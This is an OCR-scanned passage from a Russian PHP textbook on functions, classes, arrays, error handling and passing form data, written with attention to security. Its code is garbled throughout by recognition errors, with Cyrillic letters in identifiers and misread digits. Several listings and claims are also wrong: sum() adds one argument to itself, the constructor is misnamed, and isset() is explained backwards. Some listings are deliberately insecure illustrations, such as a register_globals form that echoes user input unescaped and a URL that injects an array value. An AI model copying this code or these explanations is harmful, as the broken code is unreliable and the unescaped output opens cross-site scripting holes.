function PrintMenu($numЬer) 

print($numЬer*3); 

Вроде бы одна строка, и нет смысла оформлять ее в виде функции. Но если вы , 

обошлись без функции и в l О местах программы просто написали print ( $numЬer* з), 
то можете столкнуться с проблемой констант. Представьте, что надо изменить чис
ло 3 на 4. Для этого нужно будет пересмотреть весь код, и нет гарантии, что вы 

ничего не упустите. 

Не стесняйтесь, делите код на функции, а лучше на классы (тут я забегаю вперед), 
и код станет лучше. При этом не стоит думать о производительности работы про

граммы - лучше задуматы:;я о своем удобстве. 

Давайте рассмотрим примеры использования функций и обсудим проблемы, кото
рые могут возникнуть при этом. Взглянем на листинг 2.12. 
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<html> 
<body> 
<?php 
function print_max($numЬerl, $numЬer2) 

print ("$numЬerl > $numЬer2 = "); 

if ($numЬerl>$numЬer2) 
print ("true <br>"); 

else 
print ("false <br>"); 

print_max(l0, 435); 
print_max(3240, 2335); 
print_max ( 'sdf23', 45); 
print_max (45); 
?> 
</body> 
</html> 
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В этом примере объявлена функция print _ max () . Ей передаются два параметра: 

$numЬerl и $numЬer2. Если первый параметр больше второго, то функция отображает 

на экране true, иначе - false. 

После объявления функции она вызывается 4 раза с различными параметрами. 
Давайте посмотрим, какой получится результат. Он действительно интересен, по
тому что в третьем вызове один из параметров строковый, а в последнем вместо 
двух параметров передается только один: 

435 > 10 = true 
2335 > 3240 = false 
'sdf23' > 45 = true 
45 > // ошибка 

С первыми двумя строками не возникает проблем, потому что в них передаются 
числа. 

В третьей строке первый параметр строковый, потому что помимо чисел он содер

жит еще и символы, а это приведет к предупреждению и, возможно, к неожиданно
му результату. Причем в разных версиях РНР у меня были разные результаты, а это
может вызвать проблемы безопасности. 

Чтобы не было проблем с безопасностью, лучше все же указывать типы данных. 
Да, РНР, как отмечалось ранее, до сих пор разрешает создавать переменные без 
типов данных, но если типы данных указать, то среда возьмет на себя вопросы 
защиты данных и проверит их на корректность. Так как мы сравниваем числа, то 
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отличным методом защиты от подобных проблем бьmо бы создание числовых 
параметров. Как это сделать? 

РНР поддерживает следующие простые типы данных: 

□ bool - логические;

□ int - целые числа;

□ float - числа с плавающей точкой;

□ string - строки ..

А также четыре составных типа: 

□ array - массивы;

□ obj ect - объекты;

□ callaЫe - вызываемые;

□ i teraЫe - перечисляемые.

Перед каждым именем параметра мы можем указать, какой мы ожидаем тип дан
ных: 

function print_max(int $numЬerl, int $numЬer2) 

// тело функции 

Здесь перед именем параметра указан тип данных, который четко говорит, что 
именно ожидает функция, и если попытаться передать что-то другое, то произойдет 
ошибка. Это лучше, чем неожиданное поведение программы. 

Я пришел в РНР, когда еще не бьmо типов данных, поэтому часто пишу по старой 
привычке - без типов, но сейчас стараюсь заставлять себя использовать явное ука
зание типов. 

Вернемся к коду из листинга 2.12. Если передать только один параметр, то резуль
тат окажется наиболее интересным. Раньше в этом случае появлялось предупреж
дение, и сравнение происходило с отсутствующим значением, а для чисел это пре
вращалось в О. В версии РНР 8 результат изменился, и стала происходить фаталь
ная ошибка, потому что теперь требуется указывать все обязательные параметры. 
Я не смог найти в Интернете, что повлияло - другая реализация РНР или измени
лись параметры/настройки. В любом случае код, приведенный в листинге 2.12, не 
корректен, и не стоит ожидать, что он в разных реализациях РНР будет давать один 

и тот же результат. 

Если же функции передать лишние аргументы, то они будут отброшены, и даже 
предупреждения не будет. 

Порядок передачи очень важен, ведь следующие два вызова функции print _ max () 

дадут разный результат: 

print_max (10, 20); 

print_max(20, 10); 
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Здесь передаются одни и те же числа, но в первом случае результат будет false 

(первый параметр меньше второго), а во втором- true (первый параметр больше 

второго). 

Ранее утверждалось, что если функция принимает два параметра, а мы передадим 

только один, то произойдет ошибка. Однако бывают случаи, когда может быть 

удобным добавить гибкость и не передавать один из параметров. Например, совсем 
недавно мне нужно было добавить в одну из функций новую возможность - сжи

мать загруженную картинку. У меня уже была функция Uploadimage, которая 

загружала от посетителя файл изображенщ�, и в случае загрузки РNG-файлов про

изводила их конвертацию в JPEG, причем JРЕG-картинка сохранялась с коэффици

ентом сжатия 80: 

function upload(string $imageparam, string $filename) 

// сделать проверки данных в imageparam 
// конвертировать png в jpeg 
imagejpeg($image, $filename, 80); 

Я не стал приводить здесь весь код функции, чтобы сконцентрироваться на основ

ных моментах, а только комментариями показал логику. Самое интересное нахо

дится в функции imagejpeg, которая сохраняет картинку (первый параметр) в фай

ле ( с именем, которое указано во втором параметре) с коэффициентом сжатия из 

третьего параметра. 

Новая задача: создать функцию или адаптировать существующую так, чтобы она 
могла загружать картинки без потери качества- т. е. с коэфициентом сжатия 100. 

Как такое реализовать? 

Можно просто перенести коэфициент сжатия в параметр $quality: 

function upload(string $imageparam, string $filename, int $quality) 

// сделать проверки данных в imageparam 
// конвертировать png в jpeg 
imagejpeg($image, $filename, $quality); 

Оглично, теперь у нас появился новый параметр, так что нужно найти в коде все 

вызовы функции upload типа: 

upload ( 'image', 'imagefile. jpg') ; 

и добавить новый параметр: 

upload ( 'image', 'imagefile. jpg', 80) ; 

А если таких вызовов будет очень много, то мы должны найти их все и убедиться, 

что не упустили ни одного, - ведь если мы что-то упустим, то отсутствующий 

параметр приведет к тому, что произойдет ошибка. 
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Так как я знаю, что все существующие вызовы ожидают, что сжатие будет 80, то я 

могу просто сказать, что по умолчанию использовать коэфициент сжатия 80, а для 

этого нужно в объявлении параметра присвоить переменной нужное число: 

function upload(string $imageparam, string $filename, int $quality = 80) 

Теперь, если вызывать функцию с двумя параметрами без указания сжатия, то 

будет использоваться значение по умолчанию, которое мы установили в 80: 

upload ( 'image', 'imagefile. jpg'); 

Получается, что новый параметр стал необязательным. Мы можем не указывать 

его, если устраивает значение по умолчанию, но можем и указать: 

upload ( 'image', 'imagefile. jpg', 80) ; 

До РНР 8 мы должны были передавать столько параметров, сколько указано 

в скобках, и делать это в �::ом же порядке, как и при объявлении. 

Допустим, что у нас есть еще один параметр, который указывает, нужно ли конвер

тировать картинку: 

function upload( 

string $imageparam, 

string $filename, 

int $quality = 80, 

bool $converttobng) 

Последний параметр не имеет значения по умолчанию, а значит, мы должны его 

передать. Как тогда пропустить третий? Никак - нам придется указывать третий, 

чтобы указать и обязательный четвертый параметр. 

А что, если мы дадим четвертому параметру значение по умолчанию, - сможем ли 

мы в этом случае опустить третий при вызове функции? 

function upload( 

string $imageparam, 

string $filename, 

int $quality = 80, 

bool $converttobng = True) 

В РНР 8 это делается очень легко - мы можем указывать имена параметров, кото

рые передаем: 

upload('image', 'filename.jpg', converttobng: False); 

В этом примере первые два параметра указаны как обычно, а вот перед значением 

следующего стоит имя, которое указывает на то, что в реальности это четвертый 

параметр, а третий отсутствует. 

Функции могут возвращать значения: 

function sum(int $numЬerl, int $numЬer2) 

$s = $numЬerl + $numЬerl; 
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return $s; 

С точки зрения смысла в этой функции не так много логики и выгоды. Действи
тельно, если нужно сложить два числа, то проще так и сделать, но я все же решил 
написать ее с точки зрения наглядности. Функция принимает два числа. Внутри 

функции она складывает эти два числа и сохраняет результат в переменной $s. 

После этого идет слово return, которое говорит о том, что мы возвращаем пере

менную $s. 

Эту функцию можно использовать так: 

$result = sum(lO, 20); 

Мы вызываем функцию и передаем ей два числа 10 и 20. Функция вернет нам сум

му: 30, и этот результат мы сохраним в переменной $result. 

Функцию sum можно написать и короче, убрав дополнительную переменную и сра
зу вернув сумму: 

function sum(int $numЬerl, int $numЬer2) 

return $numЬerl + $numЬerl; 

2.9. Классы 

Классы мы рассмотрим коротко, потому что с точки зрения безопасности и скоро

сти тут особо не о чем рассказывать, но раз уж мы взялись говорить об основах 
РНР, то классы придется затронуть, потому что без них сейчас никуда. 

Класс - это описание, схема объекта. Я часто люблю приводить примеры из об

ласти автомира или домостроения. Сегодня мы возьмем за основу автоnром, можно 

даже «АвтоВАЗ» - что-то я в последнее время хочу купить себе «Ниву», но в Ка

наде ее, к сожалению, не продают. 

Если посмотреть на автомобиль- даже на «Ладу», то это не единое монолитное 
«ведро», а сложный механизм из большого количества узлов. Вы можете разобрать 

авто на большие узлы, а большие узлы - на более мелкие составляющие. Просто 
навскидку - машина состоит из кузова, двигателя, коробки передач, колес, салона 

и т. д. И каждую из этих составляющих можно разбить еще на более маленькие 

части. 

Между составляющими автомобиля существуют связи - чтобы вы могли управ

лять оборотами двигателя, двигатель мог крутить шестерни коробки передач, а та, 

в свою очередь, колеса. У каждого из них есть свои характеристики и возможности. 
В программировании это называют свойствами и методами.

С помощью классов мы можем создавать описания различных узлов. Допустим, что 

нам нужно описать коробку передач. Для этого мы можем написать что-то типа: 
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class Transmission 
private. $steps = 5; 
private $speed = О; 
function _constructor($steps) 

$this->steps = $steps; 

puЬlic function setSpeed($speed) 
$this->speed = $speed; 

puЬlic function getSpeed() 
return $this->speed; 

Глава 2 

Классы объявляются с помощью ключевого слова class, после которого идет имя 
и - в фигурных скобках - описание. Каждый класс может состоять из свойств 
(переменных) и из методов (функций). Свойства- это открытые переменные, ко
торые принадлежат классу. В этом примере я буду использовать закрытые пере
менные, которые называют полями. Если переменная открытая, то она становится 
свойством. Открытость и закрытость лучше увидеть на практике: рекомендую вам 
после прочтения этой главы перечитать ее еще раз - после того, как мы рассмот
рим практику. 

В нашем случае переменных две, потому что мы строим сильно упрощенную 
коробку передач: 

private $steps 5; 
private $speed = О; 

Перед каждой переменной вы можете указывать тип доступа к ней. Ключевое слово 
private говорит о том, что к переменной можно будет обратиться только из кода 
этого класса - т. е. внутри фигурных скобок, которые открываются после имени 
класса. За пределами этих скобок доступа к переменной типа private не будет. 

Потом мы объявляем функцию _ constructor. Функции, которые принадлежат 
классам, называют методами. Двойное подчеркивание перед именем метода вы
глядит подозрительно, и не зря. Обычно все подозрительное становится интерес
ным, и я неспроста решил поставить два подчеркивания в начале имени. 

Имя метода _ constructor имеет специальное значение. Это метод, который будет 
вызываться автоматически при создании нового экземпляра класса. Заумно и непо
нятно? Секунду, скоро все станет понятнее. 

Дальше идут два метода: setspeed и getSpeed. Хорошим тоном в программировании 
является делать свойства закрытыми, чтобы к ним не бьmо доступа из внешнего 
мира, а для работы с переменными создавать методы, которые будут открытыми. 
Эти два метода как раз и предназначены для работы со свойством speed. Перед 
именами методов стоит ключевое слово puЫic, которое указывает на то, что метод 
будет доступен из кода за пределами класса. Свойства не доступны, а метод досту
пен. 
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Метод setspeed в качестве параметра получает значение новой скорости. Чтобы его 
установить, его нужно сохранить в переменной speed, которая принадлежит классу. 
Для доступа к переменной класса следует использовать ключевое слово this: 

$this->speed = $speed; 

Обратите внимание, что слева от знака равенства символ $ стоит перед this, а не 
перед именем переменной speed. Я не знаю, почему создатели языка решили 
сделать именно так, но когда вы обращаетесь к переменной класса, именно так и 
нужно писать. По this мы как раз и можем понять, что слева от знака равенства мы 
обращаемся к свойству текущего класса, а справа от него - просто переменная, 
которую метод получил в качестве параметра. 

Метод getspeed должен вернуть нам текущую скорость. Так как внешний мир не 
может обращаться к переменной напрямую, нужно использовать этот метод. Чтобы 
метод вернул значение, надо записать слово return, после которого идет уже непо
средственно_ возвращаемое значение: 

return $this->speed; 

То есть дословно эта строка читается так: вернуть значение переменной speed те
кущего объекта. 

Упс! Я только что случайно (а может, и специально) сообщил вам еще одно новое 
понятие - объект. Я понимаю: много информации и, может быть, в голове у вас 
уже каша, но дальнейшая практика должна будет расставить все на свои места. 

Итак, в мире существует множество коробок передач, и на автозаводе по одной и 
той же схеме выходит с конвейера огромное их количество. Они сделаны по одной 
схеме, но у них есть свои свойства. Каждая из этих коробок будет объектом, или 
как их иногда называют, - экземпляром класса. 

По умолчанию они сходят с конвейера отключенными, но когда коробку поставят 
на автомобиль, двигатель может начать передавать ей вращение. И вот тут этот 
конкретный объект начнет работать. На тестовых стендах может тестироваться 
множество коробок, и каждая из них будет работать на своей скорости. 

Итак, создать новый объект (выпустить с конвейера) в программировании очень 
просто: 

$t = new Transmission(5); 

Оператор new создает новый объект класса, который указан после этого оператора. 
В круглых скобках передаются значения конструктору - это метод _ constructor, 
который мы объявили. Он не обязателен. Если у класса нет конструктора или он 
есть без параметров, то в круглых скобках ничего указывать не надо. 

А если нам нужно две коробки для двух разных машин? Без проблем - вызываем 
этот код дважды: 

$tl new Transmission(5); 
$t2 = new Transmission(5); 
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Теперь в двух разных переменных $tl и в $t2 будут находиться два разных объекта 
одного и того же класса. У них одни и те же возможности (методы), но за счет того, 
что они находятся в разной памяти, у них собственные свойства, и они могут рабо
тать независимо. 

Это очень краткий экскурс в классы. Но достаточный для того, чтобы понимать 
материал книги. 

Мы можем работать с открытыми свойствами и методами класса. У трансмиссии 
есть метод установки скорости, и к нему мы можем обратиться так: 

$tl->setSpeed(5); 

Сначала пишем имя объекта - конкретной коробки - мы же меняем скорость од
ной коробки, а не всех. Мы не можем в реальной жизни (пока) взять и поменять 
скорость для всех коробок в мире, так что нам нужен конкретный экземпляр. После 
знака-> пишем имя свойства или метода, которые помечены как puЫic. В нашем 

случае - setSpeed. Метод идентичен функции, просто он является частью класса. 

Сможем мы обратиться к свойству? 

$tl->speed = 10; 

Нет, потому что свойство speed объявлено как private. Вот если мы изменим объ

явление на puЫic, то сможем. 

Если вспомнить сам метод setSpeed, то в нем мы могли обратиться к полю speed,

потому что там код был внутри класса. Внутри класса можно обращаться ко всем 
переменным (полям, свойствам) этого класса. Здесь же мы как бы находимся сна
ружи и можем вызывать только публичные методы и свойства. 

2.10. Массивы 

Массив - это последовательность значений, доступ к которым можно получить 
с помощью одной только переменной. Доступ к элементам массива обеспечивается 
с помощью индекса, в качестве которого может выступать слово или число. Если 
это числовой индекс, то он принимает значения, начиная с нуля, если вы явно не 
указываете значения элементов. 

Массивы - как состав поезда. Если •У нас поезд из 1 О вагонов, то мы можем соз
дать 1 О переменных - по одному для каждого вагона - и хранить их отдельно. 
А можно создать одну переменную массива состава поезда из 1 О вагонов и обра
щаться к каждому из них по индексу: первый вагон, второй вагон и т. д. 

Массивы именуются так же, как и переменные, но после имени указываются квад
ратные скобки. В следующем примере в массив добавляются три слова: "торт",

"хлеб" И "морковь": 

$goods [] = "торт"; 

$goods[]= "хлеб"; 

$goods [] = "морковь"; 
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Такой способ создания массивов имеет право на жизнь, но в нем есть один неболь
шой недостаток-нет инициализации переменной $goods. Мы просто начинаем ее 
использовать и добавляем первый элемент. Если переменной никогда не было, то 
умный и логичный РНР догадается, что нужно создать переменную типа «массив», 
и все пойдет удачно. Но если у хакера получится каким-то образом влиять на код, 
то он сможет создать переменную сам. 

До РНР версии 5.4 можно бьmо сделать так, чтобы любые параметры, которые 
передаются через строку URL, автоматически создавали переменные ( об этом мы 
подробно поговорим в разд. 2.12.1). Это значит, что если хакер загрузит наш 
скрипт и передаст ему в строке URL: http://phpbook?goods[)=xaк, то при небезо
пасной конфигурации до начала выполнения кода в $goods уже появится один эле
мент с именем хак. 

Сейчас автоматические переменные запрещены, но все же хорошим тоном будет 
явно объявлять переменную так: 

$goods = array () 
$goods [] = "торт"; 
$goods[]= "хлеб"; 
$goods[]= "морковь"; 

Даже если хакеру как-то удастся создать переменную $goods до начала выполнения 
этого кода, она будет очищена. 

Чтобы вывести на экран нулевой, например, элемент, напишем имя переменной, 
а в квадратных скобках укажем номер интересующего нас элемента. Например: 

print("<p>$goods(O]</p>"); 

В этом примере во время добавления элементов к массиву мы ничего не указывали 
в квадратных скобках, поэтому каждому новому элементу присваивается очеред
ной индекс, который увеличивается на единицу. При создании массива вы можете 
явно указать индекс каждого элемента. Например: 

$goods[0]= "торт"; 
$goods[l]= "хлеб"; 
$goods[2]= "морковь"; 

Этот способ удобнее, потому что вы контролируете индексы, которые используете. 
При этом можно объявлять элементы в любом порядке и необязательно задавать 
последовательно идущие индексы. Например: 

$goods[3]= "торт"; 
$goods[9]= "хлеб"; 
$goods[2]= "морковь"; 

Посмотрим, что получится, если добавить новый элемент к этому массиву без ука
зания индекса -т. е. следующим образом: 

$goods [] = "картофель"; 

Этому элементу будет присвоен индекс, который окажется на 1 больше максималь
ного из существующих-т. е. число 10. 



68 Глава 2 

В следующем примере показано, как можно создавать массивы, в которых в каче
стве индексов выступают символы: 

$goods["ca"]= "торт"; 
$goods [ "Ь"] = "хлеб"; 
$goods["cr"J= "морковь"; 
echo($goods["b"]); 

Как видите, разница между числовыми и символьными индексами невелика. 

Более интеллектуальный способ создания массивов - использование функции 

array(): 

$goods = array ("торт", "хлеб", "морковь") ; 

В этом случае переменная массива выглядит так же, как и любая другая перемен

ная. Ей присваивается массив, созданный функцией array (), у которой в скобках 
записаны элементы массива. Этим элементам будут присвоены индексы, начиная 
С O И ДО 2. 

С помощью функции array () можно создавать массивы и с символьными индекса
ми. Например: 

$goods = array("ca" => "торт", "Ь" => "хлеб", "cr" => "carrot") 

Соответствие индекса имени элемента массива нужно писать следующим образом: 

"индекс" => "значение"

Так как индексы в массиве могут идти не по порядку, то нам необходим способ 
создания цикла, в котором можно просмотреть все элементы. Для этого проще все

го использовать цикл foreach, который мы еще не обсуждали: 

foreach (array as [$key => ] $value) { 

оператор; 

Блок [$key => J обрамлен здесь квадратными скобками, потому что является 

необязательным. Если указана переменная $key (имя переменной может быть дру
гим), то в теле цикла через эту переменную можно получить доступ к индексу эле

мента. Через переменную $value можно получить доступ к значению элемента мас
сива. 

Рассмотрим пример, в котором выводятся на экран значения индексов и значения 
всех элементов массива: 

foreach ($goods as $ind => $val) { 
print("<p>index: $ind <br> value: $val</p>"); 

Для работы с массивами в нашем распоряжении достаточно много функций, но мы 

пока рассмотрим только одну - count () - как наиболее часто используемую. 

Функции count () в качестве параметра нужно передать имя массива, а в качестве 
результата мы получим количество элементов массива. Например: 
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$с = count($goods); 

echo ($с); 

Весь этот код можно записать в одну строку: 

echo(count($goods)); 

Функция echo отобразит результат вызова функции count.

2 .11 . Обработка ошибок 
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Во время выполнения программы иногда возникают ошибки или предупреждения. 
Однако ошибки не всегда связаны с плохим кодом программиста, иногда они воз
никают вследствие того, что посетитель передал программе некорректное значение. 
Сообщения выводятся в браузер и позволяют программисту узнать о своей ошибке 
и исправить ее. В реальных условиях и работающих на сервере приложениях я ре
комендую ничего, касающегося ошибок, не выводить на экран. Лишнее сообщение 
для хакера - это еще один большой шаг на его пути ко взлому. 

Но в тестируемой системе все сообщения должны выводиться на экран, иначе на 
этапе разработки вы не узнаете о потенциальной ошибке, и вам будет трудно по
нять, почему код программы работает не так, как вы планировали. 

Чтобы включить отображение ошибок, в файле php.ini необходимо найти параметр 
error _ reporting и изменить его значение на Е _ ALL.

Сообщения могут появляться и при сравнении числа со строкой. Так, если в приме
ре из разд. 2.8, где мы написали функцию print_rnax (), добавить в начало сценария 
следующую команду: 

error_reporting(E_ALL); 

и повторить выполнение сценария, то в результате вы должны увидеть предупреж
дение, выводимое при сравнении числа и строки: 

Warning: Use of unclefined constant sdf"23 - assumed 'sdf"23' 
in /var/www/html/1/functionsl.php on line 25 

Функция error _ reporting устанавливает уронень отображения ошибок. Если в ка
честве параметра указано Е _ ALL, то будут отображаться все предупреждения и со
общения. Чтобы отключить сообщения в конкретном сценарии, нужно написать 
в его начале следующую строку: 

error_reporting(E_ALL - (E_NOTICE + E_WARNING)); 

Если требуется изменить уровень отображения ошибок для всего сервера, то следу
ет отредактировать одноименный параметр в файле php.ini. В этом же файле можно 
найти возможные варианты уровней. 

Еще раз хочу сказать, что в работающей на «боевых» серверах системе не должно 
быть никаких сообщений об ошибках. Посетитель сайта не должен видеть никакой 
служебной информации. Тестируя сайты на безопасность, я, например, обнаружил, 
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что в сценариях, подверженных ошибке SQL lnjection (когда хакер может выпол

нять на сервере SQL-запросы), сообщения об ошибках значительно упрощали ему 
поиск уязвимостей и определение структуры базы данных. 

Если вы настроили систему на отображение всех ошибок, но при этом хотите, что

бы определенная функция не отображала ошибок, перед именем функции необхо

димо поставить символ @. Например, функция print () в случае нештатной ситуа

ции отобразит сообщение на экране, но если написать @print (), то сообщение об 
ошибке выведено не будет. 

В своей среде разработки, где я пишу код и тестирую его, я предпочитаю показы
вать все ошибки и предупреждения. Но в реально работающих системах мое лич

ное отношение к предупреждениям негативно. Я не желаю видеть в них какие-либо 
предупреждения, потому что иногда они могут стать причиной потенциальной 

проблемы. Как будете поступать вы, зависит от личных предпочтений, а моя реко
мендация - исправлять все, даже предупреждения. 

Насколько плохо оставлять потенциальные сообщения об ошибках? Не могу дать 

однозначного ответа, потому что все зависит от ситуации. Допустим, что у вас есть 
код: 

$result = 100 / $variaЬle; 

Если переменная $variaЫe - это значение, которое передается любым пользова

телем, то код может передать в программу значение О, а как известно еще со шко

лы - на ноль делить нельзя. В программировании это правило прекрасно действу

ет так же, как и в школьном курсе математики. Это в высшей математике делят на 

нули, а у нас все намного проще. 

Если в коде программы произойдет попытка разделить на О, то это приведет к ис
ключительной ситуации. Конечно же, желательно перед делением произвести про

верку значения делителя, и если там ноль, то сообщить пользователю о некоррект

ности введенного значения. 

Поэтому, если что-то можно проверить на корректность значения, то, разумеется, 

это необходимо сделать, а не просто глушить ошибку. 

2.12. Передача данных 

Когда сценарий запускается на выполнение, интерпретатор РНР создает множество 

переменных. Часть из них содержит информацию о сервере и окружении, в кото
ром работает сценарий, а часть может содержать данные, которые передал серверу 

клиент (браузер ). 

Я не думаю, что имеет смысл углубляться в старые версии РНР и обсуждать, как 

они передавали параметры. Чтобы обезопасить себя, вы должны установить самую 

последнюю версию интерпретатора РНР, поэтому не будем вспоминать старые 
возможности, которые уже не поддерживаются. 
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2 .12 .1 . ТТ еременные окружения 

Все параметры окружения, которые передаются сценарию, помещаются интерпре
татором в массив $ _ SERVER. На различных компьютерах этот массив выглядит 
по-разному. 

У РНР есть следующие переменные окружения, которые вам могут пригодиться: 

□ oocUМENT _ ROOT -путь к каталогу на сервере, где располагается сценарий;

□ SCRIPT_FILENAМE-пyть к исполняемому файлу на сервере;

□ SERVER _ ADDR -IР-адрес сервера, на котором запущен сценарий;

□ SERVER _ PORT - порт сервера, к которому подключился клиент для выполнения
запроса;

□ SERVER _ NАМЕ - имя хоста сервера;

□ SERVER _ PRoтocoL - версия НТТР-протокола;

□ REMOTE _ ADDR -IР-адрес компьютера; запросившего файл сценария;

□ REMOTE_PORT- порт удаленного компьютера, с которым установлено соедине
ние;

. □ REQUEST _ МЕТНОD - метод ( GET или юsт ), с помощью которого бьm запрошен сце
нарий; 

□ REQUEST _ URI -URL-путь к файлу без имени домена или адреса сервера. Напри
мер, если был запрошен адрес: bttp://192.168.1.1/admin/index.php, то в этой
переменной будет находиться / admin/ index. php;

□ QUERY _ STRING -строка запроса, которая содержит список параметров, передан
ных запросу. Параметры разделены амперсандами (&),а сами параметры имеют

ВИД название=значение;

□ НТТР _ ноsт - имя сервера. Этот параметр может содержать то же значение, что

и SERVER _ NАМЕ, а может и отличаться, если у сервера несколько имен;

□ нттР _ USER _ AGENT - строка, идентифицирующая программу-клиент, например
название браузера, хотя это название не всегда соответствует действительности;

□ нттР _ АССЕ РТ -перечень файлов, которые может обработать клиент.

К этим же переменным можно получить доступ через массив $_SERVER[имя пере

менной]. 

Следующий пример показывает, как можно вывести на экран значения переменных 
окружения: 

<p>DOCUМENT _ RООТ: <?= $ _ SERVER [ 'DOCUМENT _ RООТ'] ?></р>
<p>SCRIPT_FILENAМE: <?= $_SERVER['SCRIPT_FILENAМE'] ?></р>
<p>HTTP_HOST: <?= $_SERVER['HTTP_HOST"] ?></р>

Не все переменные окружения безопасны. Например, параметр QUERY _ STRING: 

<p>QUERY_STRING: <?= $_SERVER['QUERY_STRING'] ?></р>
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содержит данные, которые передаются в URL после символа вопросительного зна
ка. Если попробовать загрузить файл I2-13.php из сопровождающего книгу файлово
го архива, где просто выполняется эта строка кода, то вы увидите ошибку: 

Warning: Undefined array key "QUERY_SТRING" 

Ключа QUERY _ STRING в этой строке нет. Чтобы он появился, нужно загрузить URL 
с добавлением строки запроса - символа вопроса и любого текста после него. На
пример: 

http:/ /localhost:8080Л2-13.php ?test 

В результате в браузере вы увидите просто текст test. То есть эта информация при
ходит от посетителя, и мы можем повлиять на нее. Далее мы будем много раз гово
рить о том, что если посетитель может на что-то повлиять, то это потенциальная 
угроза. И поскольку на некоторые переменные окружения посетитель повлиять 
как раз может, при работе с ними нужно быть осторожным. А пока только ставим 
в памяти отметочку: потенциальная угроза. 

2 .12. 2. ТТ ередача параметров 

Статичные веб-страницы встречаются слишком редко. Практически на любом бо
лее или менее крупном сайте необходимо получать определенный ввод со стороны 
посетителя. Для этого на языке разметки НТМL создаются формы, которые пере
дают свое содержимое указанному файлу сценария. Следующий пример демонст
рирует, как создать форму ввода имени посетителя: 

<form action="param.php" method="get"> 
Имя посетителя: <input name="UserName"> 

</form> 

У тега <form> нужно указать два параметра: 

□ action - имя файла сценария или полный URL к файлу, которому передаются
параметры формы;

□ method - метод передачи. Существуют два основных метода передачи парамет-
ров: get и post.

Между тегами <form> и </form> можно создавать элементы управления, значения 
которых будут передаваться сценарию. В нашем примере мы создали только одно 
поле ввода (тег <input> ). Здесь в качестве имени поля ввода я указал userName. 

Давайте посмотрим на примере, как можно увидеть введенное в веб-форму посети
телем имя. Самый простой вариант - в файле param.php использовать переменную 
$username. Да, мы такой переменной не создавали, но она может быть создана ин
терпретатором перед запуском сценария. Это зависит от настроек, а точнее - от 
параметра register_global и от версии РНР. Начиная с версии РНР 5.4, эта функ
циональность не работает, но я все же рассмотрю ее, потому что в ней есть кое-что 
полезное с точки зрения безопасности. На ошибках учатся, и историю нужно изу
чать, чтобы не совершать ошибки в будущем, так что посмотрим на ошибку, кото
рая ранее присутствовала в РНР. 
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Чтобы увидеть, когда создается соответствующий параметр, давайте напишем файл 
param.php, содержащий форму и код обработки. При этом параметры будут переда

ваться тому же сценарию, в котором вводятся данные. Пример такого сценария 
можно увидеть в листинге 2.13. 

<html> 

<head> </head> 

<body> 

<foпn action="param.php" method="get"> 

имя посетителя: <input name= ''username"> 

</form> 

<?php 

if ($username <> "") 

print("<p>вaшe имя посетителя: "); 

print($username); 

?> 

</body> 

<html> 

Если загрузить эту форму в браузер, то переменная $username будет пустой, потому 
что еще не произошла передача параметров и интерпретатор ничего не создавал. 

Если же ввести имя посетителя и нажать клавишу <Enter>, содержимое формы пе

резагрузится, но теперь переменная $username будет содержать введенное посети
телем имя. Таким способом можно сделать проверку: если переменная не пустая, то 

форма получила параметр, и можно его обрабатывать. В нашем примере мы просто 
выводим на экран введенное имя. 

Проверка на пустую строку не считается хорошим тоном. Вы везде услышите, что 

это плохо, и лучше использовать специальную функцию isset () . По идее, код дол

жен бьm бы выглядеть так: 

if (isset($username)) { 

?> 

print ( "<р>ваше имя посетителя: ") ; 

print($username); 

Тем не менее я сравнение с пустой строкой плохим тоном не считаю. И если вы 

действительно хотите его осуществить, просто нужно понимать последствия такого 
сравнения, и почему оно работает. 

При попытке обращения к несуществующей переменной РНР автоматически ее 

создает со значением по умолчанию в зависимости от текущего контекста. Мы 
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сравниваем строки, и если переменная $username не существовала, то интерпрета
тор будет считать, что там - в случае нашего сравнения - пустая строка: 

if ($username <> "") 

Все вроде бы в порядке и работает, но пустая строка - это тоже значение. В случае 
с именем посетителя нам все равно: пустая строка или значение отсутствует во
все - для нас оба варианта неверны. Но что, если это необязательное поле? Если 
посетитель ничего не ввел и просто отправил форму обратно серверу, то сценарий 
вернет пустую строку, что для необязательного поля вполне легально. 

Так что желательно все же проверять значения на существование с помощью функ
ции isset (). Если функция возвращает true, то переменная не существует вовсе. 

Нужно постоянно помнить, что проверка на пустую строку равносильна проверке 
на пустую строку и отсутствующее значение. И обязательно делайте проверку 
с помощью isset () первой: 

if ($username <> "") { 
return "Пусто"; 

if (isset($username)) { 

Вторая проверка никогда не будет выполнена, потому что после первого сравнения 
с пустой строкой выполнится оператор return, который завершит выполнение ме
тода. 

Обратите внимание, что на форме даже не обязательна кнопка отправки данных, -
достаточно нажать клавишу <Enter>, находясь в любом поле формы. 

С помощью форм можно передавать и скрытые параметры. Скажем, помимо име
ни посетителя вы хотите передавать еще какое-то значение, которое не должно 
быть видно в форме. Для этого вы можете создать невидимое поле ввода. Напри
мер, в следующей форме есть два поля ввода: UserName и Password, но второе поле 

не будет видно на форме, потому что у него указан параметр type (тип), которому 
присвоено значение hidden (невидимый): 

<form action="param.php" method="get"> 
User Name: 
<input name="UserName" /> 
<input type="hidden" name="Password" value="qwerty" /> 

</form> 

Поле Password невидимо, но содержит значение. Так можно передавать от сценария 
к сценарию определенные данные, и после передачи параметров у сценария 
param.php будут две переменные: $UserName и $Password- с установленными значе
ниями. 

Никогда не передавайте таким способом важные данные. Хотя поле пароля неви
димо на форме, браузер позволяет просмотреть исходный код НТМL-формы. На
пример, в Intemet Explorer для этого нужно бьmо выбрать меню Вид 1. В виде 
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HTML (View I Source). Любой хакер сможет увидеть этот параметр в исходном 
коде, а если надо, то и изменить его. Современные браузеры Chrome и Firefox по
зволяют менять НТМL-код прямо - не покидая страницы - с помощью Developer 
Tools. 

Если вы не знаете, какие данные являются важными, а какие нет, то не используйте 
этот метод вообще. Сохраняйте важные данные в параметрах сеанса или в базе 
данных, но никогда ничего важного не храните в скрытых параметрах форм или 
в любом другом виде, который передается браузеру. Если необходимо, обязательно 
используйте шифрование данных. 

С помощью настроек интерпретатора ( файл php.ini) вы можете повлиять на пара
метры, а точнее, на их работу, с помощью директивы register_globals. Если эта 
директива включена, то в РНР до версии 5.4 будут автоматически создаваться гло
бальные переменные для передаваемых параметров, иначе придется данные посе
тителя читать через специализированные глобальные массивы. 

Глобальные переменные проще и удобнее, хотя у них есть проблемы с безопасно
стью. Если неверно использовать переменные в коде, то хакеры могут повлиять на 
код сценария. Из-за того что программисты часто неверно используют переменные, 
сейчас по умолчанию регистрация глобальных переменных запрещена. 

В этом случае все значения, которые передаются методом POST, будут доступны 
через массив $_РОSТ[имя переменной]. Имя переменной, по идее, должно быть стро
